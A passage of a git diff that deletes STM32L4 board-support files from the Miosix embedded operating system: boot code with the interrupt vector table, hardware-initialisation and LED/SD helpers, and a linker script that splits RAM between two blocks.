parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/core/stage_1_boot.cpp deleted file mode 100644 index 65e95347e..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,378 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32l476 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_PVM_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_2_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT3_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_IRQHandler(); -void __attribute__((weak)) TIM8_UP_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) ADC3_IRQHandler(); -void __attribute__((weak)) FMC_IRQHandler(); -void __attribute__((weak)) SDMMC1_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Channel1_IRQHandler(); -void __attribute__((weak)) DMA2_Channel2_IRQHandler(); -void __attribute__((weak)) DMA2_Channel3_IRQHandler(); -void __attribute__((weak)) DMA2_Channel4_IRQHandler(); -void __attribute__((weak)) DMA2_Channel5_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT0_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT1_IRQHandler(); -void __attribute__((weak)) DFSDM1_FLT2_IRQHandler(); -void __attribute__((weak)) COMP_IRQHandler(); -void __attribute__((weak)) LPTIM1_IRQHandler(); -void __attribute__((weak)) LPTIM2_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Channel6_IRQHandler(); -void __attribute__((weak)) DMA2_Channel7_IRQHandler(); -void __attribute__((weak)) LPUART1_IRQHandler(); -void __attribute__((weak)) QUADSPI_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) SAI1_IRQHandler(); -void __attribute__((weak)) SAI2_IRQHandler(); -void __attribute__((weak)) SWPMI1_IRQHandler(); -void __attribute__((weak)) TSC_IRQHandler(); -void __attribute__((weak)) LCD_IRQHandler(); -void __attribute__((weak)) RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_PVM_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_2_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - DFSDM1_FLT3_IRQHandler, - TIM8_BRK_IRQHandler, - TIM8_UP_IRQHandler, - TIM8_TRG_COM_IRQHandler, - TIM8_CC_IRQHandler, - ADC3_IRQHandler, - FMC_IRQHandler, - SDMMC1_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Channel1_IRQHandler, - DMA2_Channel2_IRQHandler, - DMA2_Channel3_IRQHandler, - DMA2_Channel4_IRQHandler, - DMA2_Channel5_IRQHandler, - DFSDM1_FLT0_IRQHandler, - DFSDM1_FLT1_IRQHandler, - DFSDM1_FLT2_IRQHandler, - COMP_IRQHandler, - LPTIM1_IRQHandler, - LPTIM2_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Channel6_IRQHandler, - DMA2_Channel7_IRQHandler, - LPUART1_IRQHandler, - QUADSPI_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - SAI1_IRQHandler, - SAI2_IRQHandler, - SWPMI1_IRQHandler, - TSC_IRQHandler, - LCD_IRQHandler, - 0, - RNG_IRQHandler, - FPU_IRQHandler -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_PVM_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_2_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT3_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_IRQHandler = Default_Handler -#pragma weak TIM8_UP_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak ADC3_IRQHandler = Default_Handler -#pragma weak FMC_IRQHandler = Default_Handler -#pragma weak SDMMC1_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Channel1_IRQHandler = Default_Handler -#pragma weak DMA2_Channel2_IRQHandler = Default_Handler -#pragma weak DMA2_Channel3_IRQHandler = Default_Handler -#pragma weak DMA2_Channel4_IRQHandler = Default_Handler -#pragma weak DMA2_Channel5_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT0_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT1_IRQHandler = Default_Handler -#pragma weak DFSDM1_FLT2_IRQHandler = Default_Handler -#pragma weak COMP_IRQHandler = Default_Handler -#pragma weak LPTIM1_IRQHandler = Default_Handler -#pragma weak LPTIM2_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Channel6_IRQHandler = Default_Handler -#pragma weak DMA2_Channel7_IRQHandler = Default_Handler -#pragma weak LPUART1_IRQHandler = Default_Handler -#pragma weak QUADSPI_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak SAI1_IRQHandler = Default_Handler -#pragma weak SAI2_IRQHandler = Default_Handler -#pragma weak SWPMI1_IRQHandler = Default_Handler -#pragma weak TSC_IRQHandler = Default_Handler -#pragma weak LCD_IRQHandler = Default_Handler -#pragma weak RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 6f5057372..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32l4xx.h before core_cm4.h, there's some nasty dependency -#define STM32L475xx -#include "CMSIS/Device/ST/STM32L4xx/Include/stm32l4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32L4xx/Include/system_stm32l4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index 830d5e5ef..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,141 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB2ENR |= RCC_AHB2ENR_GPIOAEN | RCC_AHB2ENR_GPIOBEN | - RCC_AHB2ENR_GPIOCEN | RCC_AHB2ENR_GPIODEN | - RCC_AHB2ENR_GPIOEEN | RCC_AHB2ENR_GPIOFEN | - RCC_AHB2ENR_GPIOGEN | RCC_AHB2ENR_GPIOHEN; - - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOG->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index ecf7eac2c..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,80 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/stm32_1m+128k_rom.ld b/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/stm32_1m+128k_rom.ld deleted file mode 100644 index fde2251ab..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l476rg_nucleo/stm32_1m+128k_rom.ld +++ /dev/null @@ -1,180 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 32KB RAM - * - stacks and heap in the "large" 96KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 96KB RAM */ -_end = 0x20000000; -_heap_end = 0x20018000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 32K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 96K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/core/stage_1_boot.cpp deleted file mode 100644 index 5664ef3bc..000000000 --- a/miosix/arch/cortexM4_stm32l4/stm32l4r9zi_sensortile/core/stage_1_boot.cpp +++ /dev/null @@ -1,407 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32l4r9zi devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST 